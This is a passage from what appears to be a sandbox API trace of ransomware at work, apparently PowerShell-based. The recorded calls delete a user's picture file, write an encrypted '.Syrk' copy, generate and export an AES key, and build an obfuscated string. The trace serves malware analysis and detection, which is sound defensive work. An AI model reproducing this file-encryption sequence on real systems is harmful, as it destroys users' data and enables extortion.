(normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0245.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0245.839] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0245.839] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0245.840] CoTaskMemFree (pv=0x5c98368) [0245.841] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg")) returned 0x20 [0245.841] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0245.841] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg", lpFilePart=0x0) returned 0x2e [0245.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0245.842] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg"), fInfoLevelId=0x0, lpFileInformation=0x25533a8 | out: lpFileInformation=0x25533a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732bbf40, ftCreationTime.dwHighDateTime=0x1d99541, ftLastAccessTime.dwLowDateTime=0x893af460, ftLastAccessTime.dwHighDateTime=0x1d99878, ftLastWriteTime.dwLowDateTime=0x893af460, ftLastWriteTime.dwHighDateTime=0x1d99878, nFileSizeHigh=0x0, nFileSizeLow=0xad1b)) returned 1 [0245.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0245.842] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg")) returned 1 [0245.848] EtwEventActivityIdControl () returned 0x0 [0245.848] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.849] EtwEventActivityIdControl () returned 0x0 [0245.849] EtwEventActivityIdControl () returned 0x0 [0245.849] EtwEventActivityIdControl () returned 0x0 [0245.857] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg.syrk")) returned 0x20 [0245.859] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg.syrk")) returned 0x20 [0245.859] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0245.859] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg.Syrk", lpFilePart=0x0) returned 0x33 [0245.859] EtwEventActivityIdControl () returned 0x0 [0245.860] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.860] EtwEventActivityIdControl () returned 0x0 [0245.861] EtwEventActivityIdControl () returned 0x0 [0245.861] EtwEventActivityIdControl () returned 0x0 [0245.868] EtwEventActivityIdControl () returned 0x0 [0245.868] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.868] EtwEventActivityIdControl () returned 0x0 [0245.868] EtwEventActivityIdControl () returned 0x0 [0245.868] EtwEventActivityIdControl () returned 0x0 [0245.873] EtwEventActivityIdControl () returned 0x0 [0245.873] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.874] EtwEventActivityIdControl () returned 0x0 [0245.874] EtwEventActivityIdControl () returned 0x0 [0245.874] EtwEventActivityIdControl () returned 0x0 [0245.879] EtwEventActivityIdControl () returned 0x0 [0245.880] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.880] EtwEventActivityIdControl () returned 0x0 [0245.880] EtwEventActivityIdControl () returned 0x0 [0245.880] EtwEventActivityIdControl () returned 0x0 [0245.885] EtwEventActivityIdControl () returned 0x0 [0245.885] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.886] EtwEventActivityIdControl () returned 0x0 [0245.886] EtwEventActivityIdControl () returned 0x0 [0245.886] EtwEventActivityIdControl () returned 0x0 [0245.891] EtwEventActivityIdControl () returned 0x0 [0245.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0245.904] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\1Tp--JQrN7iCKV.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\1tp--jqrn7ickv.jpg.syrk"), fInfoLevelId=0x0, lpFileInformation=0x235e920 | out: lpFileInformation=0x235e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe388d30, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xe388d30, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xe3aee90, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xad34)) returned 1 [0245.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0245.905] GetConsoleOutputCP () returned 0x1b5 [0245.913] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.913] GetConsoleOutputCP () returned 0x1b5 [0245.913] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.913] GetConsoleOutputCP () returned 0x1b5 [0245.913] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.913] GetConsoleOutputCP () returned 0x1b5 [0245.913] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.913] GetConsoleOutputCP () returned 0x1b5 [0245.914] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.914] GetConsoleOutputCP () returned 0x1b5 [0245.914] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.914] GetConsoleOutputCP () returned 0x1b5 [0245.914] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.914] GetConsoleOutputCP () returned 0x1b5 [0245.914] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.914] GetConsoleOutputCP () returned 0x1b5 [0245.914] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.914] GetConsoleOutputCP () returned 0x1b5 [0245.915] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.915] GetConsoleOutputCP () returned 0x1b5 [0245.915] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.915] GetConsoleOutputCP () returned 0x1b5 [0245.915] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.915] GetConsoleOutputCP () returned 0x1b5 [0245.915] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0245.915] GetConsoleOutputCP () returned 0x1b5 [0245.916] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0245.916] GetConsoleOutputCP () returned 0x1b5 [0245.916] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.917] GetConsoleOutputCP () returned 0x1b5 [0245.917] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0245.917] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0245.917] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0245.917] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23633ec*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23633ec*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0245.918] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0245.918] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0245.919] EtwEventActivityIdControl () returned 0x0 [0245.919] EtwEventActivityIdControl () returned 0x0 [0245.920] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.920] EtwEventActivityIdControl () returned 0x0 [0245.920] EtwEventActivityIdControl () returned 0x0 [0245.920] EtwEventActivityIdControl () returned 0x0 [0245.922] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.922] EtwEventActivityIdControl () returned 0x0 [0245.922] EtwEventActivityIdControl () returned 0x0 [0245.923] EtwEventActivityIdControl () returned 0x0 [0245.925] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0245.926] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99720) returned 1 [0245.927] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0245.927] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0245.927] CryptExportKey (in: hKey=0x5c99720, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x236b014, pdwDataLen=0x5a2e8c4 | out: pbData=0x236b014*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0245.927] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.928] EtwEventActivityIdControl () returned 0x0 [0245.928] EtwEventActivityIdControl () returned 0x0 [0245.928] EtwEventActivityIdControl () returned 0x0 [0245.928] SysStringLen (param_1="") returned 0x8 [0245.929] SysStringLen (param_1="I") returned 0x8 [0245.929] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.929] SysStringLen (param_1="㡆蹉ጽ㘴橔잏׶䠐") returned 0x8 [0245.929] SysStringLen (param_1="㡆蹉ጽ㘴橔잏׶䠐") returned 0x8 [0245.929] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.929] SysStringLen (param_1="IP") returned 0x8 [0245.929] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.929] SysStringLen (param_1="⡔왕ᾡ꜒茞䂝") returned 0x8 [0245.929] SysStringLen (param_1="⡔왕ᾡ꜒茞䂝") returned 0x8 [0245.929] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.929] SysStringLen (param_1="IPg") returned 0x8 [0245.929] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.929] SysStringLen (param_1="쥧맢㌈飓춟蛺澽") returned 0x8 [0245.930] SysStringLen (param_1="쥧맢㌈飓춟蛺澽") returned 0x8 [0245.930] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.930] SysStringLen (param_1="IPg/") returned 0x8 [0245.930] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.930] SysStringLen (param_1="␏\x15輠씜巖睘춠") returned 0x8 [0245.930] SysStringLen (param_1="␏\x15輠씜巖睘춠") returned 0x8 [0245.930] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.930] SysStringLen (param_1="IPg/s") returned 0x8 [0245.930] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.930] SysStringLen (param_1="ئ㺴頻嚵竣ങꧪẸ") returned 0x8 [0245.930] SysStringLen (param_1="ئ㺴頻嚵竣ങꧪẸ") returned 0x8 [0245.930] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.930] SysStringLen (param_1="IPg/sm") returned 0x8 [0245.930] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.931] SysStringLen (param_1="⌁빎\痝㪎논燐⊕) returned 0x8 [0245.931] SysStringLen (param_1="⌁빎\痝㪎논燐⊕) returned 0x8 [0245.931] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.931] SysStringLen (param_1="IPg/sm+") returned 0x8 [0245.931] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.931] SysStringLen (param_1="ᧉ盧藨ꩈ눈䦠ᳶ") returned 0x8 [0245.931] SysStringLen (param_1="ᧉ盧藨ꩈ눈䦠ᳶ") returned 0x8 [0245.931] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.931] SysStringLen (param_1="IPg/sm+A") returned 0x8 [0245.931] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.931] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙") returned 0x8 [0245.932] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙") returned 0x8 [0245.932] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙") returned 0x8 [0245.932] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙") returned 0x10 [0245.932] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.932] SysStringLen (param_1="IPg/sm+Ai憮栴첦幫\⊻) returned 0x10 [0245.932] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.933] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙唃\ꖎܷ娱麩≐) returned 0x10 [0245.933] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙唃\ꖎܷ娱麩≐) returned 0x10 [0245.933] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.933] SysStringLen (param_1="IPg/sm+Aid栴첦幫\⊻) returned 0x10 [0245.933] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.933] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙䔋ǭ콾풜鿯헦") returned 0x10 [0245.933] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙䔋ǭ콾풜鿯헦") returned 0x10 [0245.933] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.933] SysStringLen (param_1="IPg/sm+AidM첦幫\⊻) returned 0x10 [0245.933] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.933] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙꒤졘긫椂푛諣䦤䔈") returned 0x10 [0245.933] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙꒤졘긫椂푛諣䦤䔈") returned 0x10 [0245.933] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.934] SysStringLen (param_1="IPg/sm+AidMp幫\⊻) returned 0x10 [0245.934] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.934] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙씵渾忿\嗘컔哹ἕ≰) returned 0x10 [0245.934] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙씵渾忿\嗘컔哹ἕ≰) returned 0x10 [0245.934] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.934] SysStringLen (param_1="IPg/sm+AidMpc\⊻) returned 0x10 [0245.934] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.934] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㉗䆀℅푨훣ṭ꼁鰵") returned 0x10 [0245.934] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㉗䆀℅푨훣ṭ꼁鰵") returned 0x10 [0245.934] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.934] SysStringLen (param_1="IPg/sm+AidMpc7\⊻) returned 0x10 [0245.934] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.935] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙徂눷䊀쒕ꀣ看余舸") returned 0x10 [0245.935] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙徂눷䊀쒕ꀣ看余舸") returned 0x10 [0245.935] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.935] SysStringLen (param_1="IPg/sm+AidMpc7g믢") returned 0x10 [0245.935] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.935] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙獾곏錻ﴣ╹딲") returned 0x10 [0245.935] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙獾곏錻ﴣ╹딲") returned 0x10 [0245.935] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.935] SysStringLen (param_1="IPg/sm+AidMpc7g8") returned 0x10 [0245.935] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.935] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍") returned 0x10 [0245.936] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍") returned 0x10 [0245.936] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍") returned 0x10 [0245.936] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍") returned 0x18 [0245.936] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.936] SysStringLen (param_1="IPg/sm+AidMpc7g8hඔ\Ꮩክ瘖忞≉) returned 0x18 [0245.936] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.936] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍⩒ꆘπ껝䜝盛") returned 0x18 [0245.936] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍⩒ꆘπ껝䜝盛") returned 0x18 [0245.936] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.937] SysStringLen (param_1="IPg/sm+AidMpc7g8hr\Ꮩክ瘖忞≉) returned 0x18 [0245.937] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.937] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍꼘笤誾劜ž䈲鞐ࢿ") returned 0x18 [0245.937] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍꼘笤誾劜ž䈲鞐ࢿ") returned 0x18 [0245.937] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.937] SysStringLen (param_1="IPg/sm+AidMpc7g8hrX괓ᘒ\忞≉) returned 0x18 [0245.937] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.937] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍銫涑ᒌ땦䊳᫷洆") returned 0x18 [0245.937] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍銫涑ᒌ땦䊳᫷洆") returned 0x18 [0245.937] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.937] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSᘒ\忞≉) returned 0x18 [0245.937] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.938] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍獾佉ඞ缮伥썅") returned 0x18 [0245.938] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍獾佉ඞ缮伥썅") returned 0x18 [0245.938] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.938] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF\忞≉) returned 0x18 [0245.938] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.938] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍Ĝ\韞닃罴\鯚싖") returned 0x18 [0245.938] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍Ĝ\韞닃罴\鯚싖") returned 0x18 [0245.938] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.938] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF2ﱟ䧶") returned 0x18 [0245.938] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.938] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍猲集ꨂꉭ泦\巟㳧∭) returned 0x18 [0245.938] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍猲集ꨂꉭ泦\巟㳧∭) returned 0x18 [0245.938] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.939] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28䧶") returned 0x18 [0245.939] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.939] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍皃嘢ᘯ類蛮鬒") returned 0x18 [0245.939] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍皃嘢ᘯ類蛮鬒") returned 0x18 [0245.939] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.939] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28o") returned 0x18 [0245.939] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.939] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤⊺) returned 0x18 [0245.939] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤⊺) returned 0x18 [0245.939] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤⊺) returned 0x18 [0245.940] SysStringLen 